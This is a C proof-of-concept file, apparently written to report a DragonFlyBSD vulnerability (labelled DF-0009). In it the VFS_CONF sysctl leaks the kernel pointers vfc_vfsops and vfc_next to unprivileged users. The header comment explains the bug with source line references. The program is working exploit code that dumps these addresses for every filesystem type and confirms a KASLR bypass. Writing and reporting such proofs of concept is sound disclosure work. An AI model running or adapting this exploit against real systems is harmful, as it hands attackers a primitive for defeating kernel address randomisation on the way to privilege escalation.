/*
 * DF-0009 PoC - VFS_CONF sysctl leaks kernel pointers (vfc_vfsops, vfc_next).
 *
 * vfs_sysctl()'s VFS_CONF handler (sys/kern/vfs_subr.c:1839-1845) does:
 *
 *     vfsp = vfsconf_find_by_typenum(name[2]);
 *     ...
 *     return (SYSCTL_OUT(req, vfsp, sizeof *vfsp));   // :1845
 *
 * copying the whole struct vfsconf to userspace. struct vfsconf
 * (sys/sys/mount.h:477-484) embeds:
 *     struct vfsops *vfc_vfsops;       // function-pointer table -> .text
 *     STAILQ_ENTRY(vfsconf) vfc_next;  // list pointer        -> .data
 * The vfs.generic sysctl node is CTLFLAG_RD with no privilege gate
 * (sys/kern/vfs_subr.c:1850) and sysctl reads are not privilege-gated, so any
 * unprivileged local user can dump these kernel addresses -> KASLR bypass.
 *
 * The legacy ovfsconf path (sysctl_ovfs_conf_iter, vfs_subr.c:1863) likewise
 * copies vfc_vfsops verbatim.
 *
 * Build (DragonFlyBSD, amd64):  cc -o leak_vfsconf leak_vfsconf.c
 * Run as an UNPRIVILEGED user:  ./leak_vfsconf
 *
 * Expected (bug present): for each filesystem type, prints a non-NULL kernel
 * .text/.data pointer for vfc_vfsops and vfc_next, defeating KASLR.
 */

#include <sys/types.h>
#include <sys/sysctl.h>
#include <sys/mount.h>
#include <stdio.h>

int
main(void)
{
	int name[4];
	struct vfsconf vfc;
	size_t len;
	int t, got = 0;
	unsigned long leaked_text = 0, leaked_data = 0;

	/* {CTL_VFS, VFS_GENERIC, VFS_CONF, typenum} */
	name[0] = CTL_VFS;		/* 3 */
	name[1] = VFS_GENERIC;		/* 1 */
	name[2] = VFS_CONF;		/* 2 */

	printf("sizeof(struct vfsconf) = %zu\n", sizeof(vfc));

	for (t = 0; t < 256; t++) {
		name[3] = t;
		len = sizeof(vfc);
		if (sysctl(name, 4, &vfc, &len, NULL, 0) != 0)
			continue;
		got++;
		/* vfc_vfsops -> .text (KASLR relocation); vfc_next -> .data */
		printf("type %-2d %-10s  vfc_vfsops=%p  vfc_next=%p\n",
		       t, vfc.vfc_name,
		       (void *)vfc.vfc_vfsops,
		       (void *)vfc.vfc_next.stqe_next);
		if ((unsigned long)vfc.vfc_vfsops >= 0xffffffff80000000UL)
			leaked_text++;
		if ((unsigned long)vfc.vfc_next.stqe_next >= 0xffffffff80000000UL)
			leaked_data++;
	}

	printf("\nfilesystem types dumped: %d\n", got);
	printf("kernel .text pointers leaked (vfc_vfsops): %lu\n", leaked_text);
	printf("kernel .data pointers leaked (vfc_next)  : %lu\n", leaked_data);
	printf("result: %s\n",
	       (leaked_text || leaked_data) ? "LEAK CONFIRMED (KASLR-defeat primitive)"
	                                    : "no kernel pointers observed");
	return (leaked_text || leaked_data) ? 0 : 2;
}
